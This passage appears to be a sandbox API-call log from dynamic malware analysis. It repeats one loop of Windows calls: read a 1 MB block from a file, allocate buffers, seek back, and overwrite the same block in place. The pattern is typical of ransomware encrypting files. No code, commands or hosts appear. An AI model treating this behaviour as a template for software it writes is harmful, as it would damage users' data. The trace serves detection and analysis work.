	[0091.394] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0091.412] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0091.431] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0091.460] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.462] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.462] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0091.464] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.467] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0091.474] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0091.493] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0091.524] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.528] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.528] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0091.531] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.534] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0091.547] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0091.579] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0091.604] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.608] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.608] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0091.611] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.615] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0091.626] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0091.651] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0092.990] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0092.993] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.993] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0092.995] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0092.998] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.006] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.022] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.036] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.039] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.039] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.041] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.044] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.053] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.057] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.082] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.085] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.085] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.087] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.090] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.099] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.104] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.113] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.116] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.116] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.118] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.121] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.130] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.135] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.145] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.156] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.156] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.158] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.162] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.170] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.176] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.192] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.196] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.196] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.198] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.202] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.212] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.227] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.240] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.244] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.244] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.247] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.251] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.258] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.264] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.277] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.281] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.281] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.284] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.288] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.304] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.309] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.319] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.322] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.322] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.324] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.327] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.334] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.339] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.348] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.352] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.352] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.354] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.357] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.367] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.378] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.388] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.391] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.391] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.393] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.396] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.402] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.406] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.418] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.421] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.421] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.423] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.433] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.441] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.452] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.462] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.464] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.464] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.467] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.470] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.476] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.481] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.490] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.493] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.493] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.495] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.498] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.506] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.518] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.531] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.535] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.535] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.538] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.542] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.550] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.554] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.565] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.568] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.568] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.570] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.573] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.581] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.586] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.604] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.606] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.606] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.609] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.612] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.618] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.623] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.633] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.636] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.636] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.647] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.651] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.656] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.667] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.779] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.796] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.796] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.798] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.801] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.843] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.849] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.866] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.869] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.869] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.872] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.875] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.882] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.888] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.905] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.908] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
